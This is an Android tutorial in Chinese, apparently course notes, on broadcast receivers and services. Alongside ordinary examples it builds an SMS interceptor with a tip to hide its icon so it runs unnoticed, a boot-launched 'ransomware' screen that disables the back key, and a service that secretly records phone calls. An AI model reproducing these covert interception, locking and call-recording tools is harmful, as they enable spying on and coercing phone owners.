Android基础--广播 BroadcastReceiver

导语

07 广播 BroadcastReceiver 介绍

广播

  • 广播的概念
    • 现实:电台通过发送广播发布消息,买个收音机,就能收听
      • 电台基站(官方,非官方) –>广播信号
      • 收音机 –>接受信号
    • Android:系统在产生某个事件时发送广播,应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。

##android下广播机制设计的目的

  • 手机里面Android系统在运行的过程中会有很多事件。

    • 手机电量不足
    • 手机开机
    • 有人给你发送了短信
    • 你向外拨打了电话
    • 手机启动完毕
    • 屏幕解锁
  • google的android系统把常用的事件,做成了广播机制。一旦事件产生了,就向全系统发送一个广播消息。应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。

####如何使用内置的广播接受者

####(创建类似于Activity,四大组件都如此,先.继承一个类 后.配置一个清单)

  1. 创建一个类继承 BroadcastReceiver (类似买了收音机)
  2. 在清单中配置广播接受者(装上电池,配好频道)

    <receiver android:name="com.itheima.ipdail.IpDailBroadcastReceiver">
        <intent-filter >
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
        </intent-filter>
    </receiver>
    
  3. 特殊的广播接受者,需要添加权限(如:开机自启动权限)。
  4. 重写BroadcastReceiver类的onReceive(Context context, Intent intent)方法。
  5. 通过intent拿到数据,并可以进行修改

    public class CallReceiver extends BroadcastReceiver{

    //当收到广播时,此方法调用
    @Override
    public void onReceive(Context context, Intent intent) {
        //添加ip线路
        //1.拿到用户拨打的号码,修改号码添加ip线路
        String number = getResultData();
        number = "17951" + number;
    
        //2.把新号码设置进广播中
        setResultData(number);
    
        //此代码无效,因为打电话应用的广播接收者是最终接收者
        //abortBroadcast();//阻止其他广播接收者接收这条广播,可以理解为拦截广播
    }
    

    }


#广播接收者

  • 广播发出时,会先自己定义意图过滤器action和数据data(有时只定义意图过滤器action),发出广播后,被广播接收者接收。
  • 当一条广播被发送出来时,系统会在所有清单文件中遍历(遍历所有,哪怕找到了,也还要继续遍历,直到把所有清单文件遍历一遍),通过匹配意图过滤器找到能接收这条广播的广播接收者
  • 广播接收者一旦接收到了广播,就开始执行广播接受者里面的代码,若没有接收到匹配的广播,代码就不会执行

###一些常量

android.intent.action.NEW_OUTGOING_CALL:外拨电话
android.intent.action.PACKAGEADDED:应用被安装
android.intent.action.PACKAGEREMOVED:应用被移除
android.intent.action.PACKAGE_REPLACED:应用被替换
android.intent.action.MEDIAMOUNTED:sd卡被装载了
android.intent.action.MEDIAREMOVED:sd卡被移除了
android.intent.action.MEDIA_UNMOUNTED:sd卡未挂载
android.intent.action.BOOTCOMPLETED:一旦设备完成启动时触发。需要RECEIVE_BOOT_COMPLETED权限。
Mount:安装,登上
Boot:引导程序,启动,引导

##不同android版本的安全升级

  • 2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。

  • 4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止,应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。


#IP拨号器

原理:接收拨打电话的广播,修改广播内携带的电话号码

  • 定义广播接收者接收打电话广播
public class CallReceiver extends BroadcastReceiver {

    //当广播接收者接收到广播时,此方法会调用
    @Override
    public void onReceive(Context context, Intent intent) {
        //拿到用户拨打的号码
        String number = getResultData();
        //修改广播内的号码,//同时把新号码设置进广播中
        setResultData("17951" + number);
    }
}
  • 在清单文件中定义该广播接收者接收的广播类型

    <receiver android:name="com.itheima.ipdialer.CallReceiver">
        <intent-filter >
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
        </intent-filter>
    </receiver>
    
  • 接收打电话广播需要权限

    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    
  • 即使广播接收者的进程没有启动,当系统发送的广播可以被该接收者接收时,系统会自动启动该接收者所在的进程

#短信拦截器

系统收到短信时会产生一条广播,广播中包含了短信的号码和内容

  • 1.定义广播接收者接收短信广播

    public class SmsReceiver extends BroadcastReceiver {
    
        //intent:此对象就是广播中包含的那个intent
        @Override
        public void onReceive(Context context, Intent intent) {
            //从广播中取出短信的内容
            Bundle bundle = intent.getExtras();
            //数组中的每个元素,就是一条短信
            Object[] objects = (Object[]) bundle.get("pdus");
    
            for (Object object : objects) {
                //把object转换成短信对象
                SmsMessage sms = SmsMessage.createFromPdu((byte[])object);
                //获取短信发送者的号码
                String address = sms.getOriginatingAddress();
                //获取短信的内容
                String body = sms.getMessageBody();
    
                if(address.equals("138438")){
                    //阻止其他广播接收者接收这条广播,可以理解为拦截广播
                    abortBroadcast();
                }
                System.out.println(address + ":" + body);
            }
        }
    }
    
  • 要理解:系统创建广播时,把短信存放到一个数组,然后把数据以pdus为key存入bundle,再把bundle存入intent
  • 2.清单文件中配置广播接收者接收的广播类型,注意要设置优先级属性,要保证优先级高于短信应用,才可以实现拦截

    <receiver android:name="com.itheima.smslistener.SmsReceiver">
        <intent-filter android:priority="1000">
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        </intent-filter>
    </receiver>
    
  • 3.添加权限

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    
  • 4.0之后,广播接收者所在的应用必须启动过一次,才能生效,第一次部署进手机时,要保留activity入口,让该应用执行一次,短信拦截器就运行在手机里,之后删除activity入口(就是删除快捷图标)这视为更新,神不知鬼不觉,拦截器就运行在手机里了。

  • 4.0之后,如果广播接收者所在应用被用户手动关闭了,那么再也不会启动了,直到用户再次手动启动该应用

#监听SD卡状态

  • 清单文件中定义广播接收者接收的类型,监听SD卡常见的三种状态,所以广播接收者需要接收三种广播
    <receiver android:name="com.itheima.listensd.SDStatusReceiver">
        <intent-filter >
            <action android:name="android.intent.action.MEDIA_MOUNTED"/>
            <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
            <action android:name="android.intent.action.MEDIA_REMOVED"/>
            <data android:scheme="file"/>
        </intent-filter>
    </receiver>
    
  • 广播接收者的定义

    /**
      * 此广播接收者用于监听SD卡状态
      * 吐司提示SD卡的状态
      * @author Administrator
      *
      */
     public class SDStatusReceiver extends BroadcastReceiver {
    
         @Override
         public void onReceive(Context context, Intent intent) {
    
             //判断收到的是什么广播
             String action = intent.getAction();
    
             if (intent.ACTION_MEDIA_MOUNTED.equals(action)) {
                 Toast.makeText(context, "SD卡可用", 0).show();
             } else if(intent.ACTION_MEDIA_UNMOUNTED.equals(action)){
                 Toast.makeText(context, "SD卡不可用", 0).show();
             }else if(intent.ACTION_MEDIA_REMOVED.equals(action)){
                 Toast.makeText(context, "SD卡被移除", 0).show();
             }
    
         }
    
     }
    

#勒索软件

  • 1.定义广播接收者

    /**
     * 此广播接收器用于开机启动勒索软件
     * @author Administrator
     *
     */
    public class BootReceiver extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context context, Intent intent) {
    
            //创建意图对象,准备开启新的Activity
            Intent it = new Intent(context,MainActivity.class);
            //创建新的任务栈,存启动的Activity
            it.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
            //启动Activity
            context.startActivity(it);
        }
    }
    
  • 2.清单文件中配置接收开机广播
    <receiver android:name="com.itheima.lesuo.BootReceiver">
        <intent-filter >
            <action android:name="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
    </receiver>
    
  • 3.权限
  • 4.接收开机广播,在广播接收者中启动该勒索Activity,另外设置返回键失效

    public class MainActivity extends Activity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
        }
    
        @Override
        public boolean onCreateOptionsMenu(Menu menu) {
            // Inflate the menu; this adds items to the action bar if it is present.
            getMenuInflater().inflate(R.menu.main, menu);
            return true;
        }
    
        @Override
        public void onBackPressed() {
            //注掉调用父类方法:此Activity返回键失效
            //super.onBackPressed();
        }
    }
    
  • 注意:
  • 因为广播接收者的启动,并不会创建任务栈,而在广播接收者中需要启动Activity,那么没有任务栈,就无法启动activity
  • 手动设置创建新任务栈的flag

    it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    

#监听应用的安装、卸载、更新

原理:应用在安装卸载更新时,系统会发送广播,广播里会携带应用的包名

  • 清单文件定义广播接收者接收的类型,因为要监听应用的三个动作,所以需要接收三种广播
    <receiver android:name="com.itheima.app.AppReceiver">
         <intent-filter >
             <action android:name="android.intent.action.PACKAGE_ADDED"/>
             <action android:name="android.intent.action.PACKAGE_REPLACED"/>
             <action android:name="android.intent.action.PACKAGE_REMOVED"/>
             <data android:scheme="package"/>
         </intent-filter>
     </receiver>
    
  • 广播接收者的定义
/**
 * 此广播接收者用于监听应用安装卸载
 * @author Administrator
 *
 */
public class AppReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {

        String action = intent.getAction();

        Uri uri = intent.getData();

        if (intent.ACTION_PACKAGE_ADDED.equals(action)) {
            Toast.makeText(context, uri+"安装了", 0).show();
        }else if(intent.ACTION_PACKAGE_REMOVED.equals(action)){
            Toast.makeText(context, uri+"卸载了", 0).show();
        }else if(intent.ACTION_PACKAGE_REPLACED.equals(action)){
            Toast.makeText(context, uri+"更新了", 0).show();
        }
    }
}

#广播的两种类型

  • 无序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,并且是没有先后顺序(同时收到)

    //发出无序广播:
    public void click(View v){
        //发送自定义广播
        //1.定义意图对象
        Intent intent = new Intent();
        //2.设置action
        intent.setAction("com.itheima.a1");
        //3.发送广播
        sendBroadcast(intent);
    }
    
  • 有序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,但是会按照广播接收者的优先级来决定接收的先后顺序

    • sendOrderedBroadcast();

      • 参数1:intent
      • 参数2: String receiverPermission 应该是权限
      • 参数3:最终接收者
      • 参数4:Handler消息处理器
      • 参数5:int数据
      • 参数6:String数据
      • 参数7:Bundles数据对象

        public void fdm(View v){
             //发送有序广播
             Intent intent = new Intent();
             intent.setAction("com.itheima.fdm");
        
             //发送有序广播
             //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到
             sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null);
         }
        
    • 优先级的定义:
      • -1000~1000
    • 最终接收者:所有广播接收者都接收到广播之后,它才接收,并且一定会接收
     public class MainActivity extends Activity {

            @Override
            protected void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_main);
            }


            public void fdm(View v){
                //发送有序广播
                Intent intent = new Intent();
                intent.setAction("com.itheima.fdm");

                //发送有序广播
                //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到
                sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null);
            }

            //定义最终接收者
            class MyReceiver extends BroadcastReceiver{

                @Override
                public void onReceive(Context context, Intent intent) {
                    String order = getResultData();
                    System.out.println("反贪局收到文件" + order);

                }

            }
        }

* abortBroadcast();:阻止其他接收者接收这条广播,类似拦截,只有有序广播可以被拦截

##android应用程序的四大组件:

  • activity 界面
  • content provider 内容提供者 暴露应用程序私有的数据
  • broadcast receiver 接受广播消息
  • service 后台的服务

    四大组件都要在清单文件配置,特殊广播接受者(代码,清单文件)


#二、Service

  • 一个组件长期后台运行,没有界面。
  • 就是默默运行在后台的组件,可以理解为是没有前台的activity,适合用来运行不需要前台界面的代码
  • 服务可以被手动关闭,不会重启,但是如果被自动关闭,内存充足就会重启
  • startService启动服务的生命周期
    • onCreate()–>onStartCommand()–>onDestroy()
  • 重复的调用startService会导致onStartCommand被重复调用

####如何创建一个服务(创建类似于Activity,四大组件都如此,1.继承一个 2.配置一个)

  1. 创建一个类继承Service
  2. 配置服务清单

    <service android:name="com.itheima.service.MyService"></service>
    
  3. 特殊的服务,需要添加权限。
  4. 重写类的onBind(Intent intent)方法。
    • 及onCreate()方法–>onStartCommand()方法–>onDestroy()方法
  5. 通过主页面通过intent开启关闭服务

    public class MainActivity extends Activity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
        }
        //点击事件:开启MyService服务
        public void click1(View v){
            //1.创建意图
            Intent intent = new Intent(this,MyService.class);
            //2.启动服务
            startService(intent);
        }
        //点击事件:停止MyService服务
        public void click2(View v){
            //1.创建意图
            Intent intent = new Intent(this,MyService.class);
            //2.停止服务
            stopService(intent);
    
        }
    }
    

进程优先级

  1. 前台进程:拥有一个正在与用户交互的activity(onResume方法被调用)的进程
  2. 可见进程:拥有一个非前台,但是对用户可见的activity(onPause方法被调用)的进程
  3. 服务进程:拥有一个通过startService方法启动的服务的进程
  4. 后台进程:拥有一个后台activity(onStop方法被调用)的进程
  5. 空进程:没有拥有任何活动的应用组件的进程,也就是没有任何服务和activity在运行

#电话窃听器

##音频捕获

  • 首先需要一个手机电话管理的服务 TelephonyManager
  1. 创建 android.media.MediaRecorder.

    mediaRecorder= new MediaRecorder();
    
  2. 设置音频源

    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频源来自麦克风,只能录自己麦克风单方面的话
    
    (MediaRecorder.AudioSource.VOICE_CALL)//录双方通话,但是只有部分国产手机支持。
    
  3. 设置音频文件的编码格式

    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
    
  4. 设置保存文件的路径

    mediaRecorder.setOutputFile("/sdcard/temp.mp4");
    
  5. 设置音频的编码方式

    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
    
  6. 准备开始录音

    mediaRecorder.prepare() ;
    
  7. 开始录音

    start();
    
  8. 停止录音

    stop();
    
  9. 释放资源

    release();
    
  • 另外:录音使用下面的两个权限

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    

##电话窃听器

  • 电话状态:空闲、响铃、接听

  • 1.获取电话管理器,设置侦听

    • 设置侦听有两个参数
    • 参数1:手机状态监听器,需继承PhoneStateListener类,重写里面的方法,实现对手机状态的监听,里面有许多方法
    • 参数2:设置监听器只监听什么数据,无论你在手机状态监听器中重写了多少个方法,通过参数2,监听器只监听所设置的参数对应的数据,通过监听数据的变化,去调用不同的方法

      @Override
      public void onCreate() {
          super.onCreate();
          //获取电话管理器
          TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
          //设置侦听
          //arg0:手机状态监听器
          //arg1:设置监听器只监听什么数据
          tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
      }
      
  • 2.侦听对象的实现

    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener{
    
    //电话状态改变时,此方法调用
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
        // TODO Auto-generated method stub
        super.onCallStateChanged(state, incomingNumber);
        switch (state) {
        case TelephonyManager.CALL_STATE_IDLE://空闲
            if(recorder != null){
                recorder.stop();
                //释放占用的资源
                recorder.release();
                recorder = null;
            }
            break;
        case TelephonyManager.CALL_STATE_RINGING://响铃
            if(recorder == null){
                recorder = new MediaRecorder();
                recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                recorder.setOutputFile("sdcard/voice.3gp");
                recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                try {
                    //准备完毕后,随时可以录音
                    recorder.prepare();
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            break;
        case TelephonyManager.CALL_STATE_OFFHOOK://摘机
            if(recorder != null){
                recorder.start();
            }
            break;

        }
    }

}
  • 3.添加权限,

    • 读取用户手机状态权限
    • 写入SD卡权限
    • 开机自启动权限
    • 记录音频权限

      <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
      <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
      <uses-permission android:name="android.permission.RECORD_AUDIO"/>
      

–电话窃听器示例:—-

/**
 * 此RecorderService服务:用于监听手机状态改变,实现电话窃听器功能
 * 1、获取电话管理器,并对手机设置监听
 * 2、定义一个手机监听器,实现电话窃听器功能
 * 
 * @author Administrator
 *
 */
public class RecorderService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate() {
        // TODO Auto-generated method stub
        super.onCreate();
        //获取电话管理器
        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        //设置侦听
        //arg1:设置监听器只监听什么数据
        tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
    }

    //定义多媒体录音对象
    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener{

        //电话状态改变时,此方法调用
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            // TODO Auto-generated method stub
            super.onCallStateChanged(state, incomingNumber);
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE://空闲
                if(recorder != null){
                    //停止录音
                    recorder.stop();
                    //释放占用的资源
                    recorder.release();
                    recorder = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING://响铃
                if(recorder == null){
                    //获取多媒体录音对象
                    recorder = new MediaRecorder();
                    //设置音频源,MIC只能设置音频源来自麦克风,只能录自己麦克风单方面的话
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //设置音频文件的编码格式
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    //设置保存文件的路径
                    recorder.setOutputFile("sdcard/voice.3gp");
                    //设置音频的编码方式
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    try {
                        //准备完毕后,随时可以录音,准备开始录音了
                        recorder.prepare();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://摘机
                if(recorder != null){
                    //开始录音
                    recorder.start();
                }
                break;

            }
        }

    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        return super.onStartCommand(intent, flags, startId);
    }
}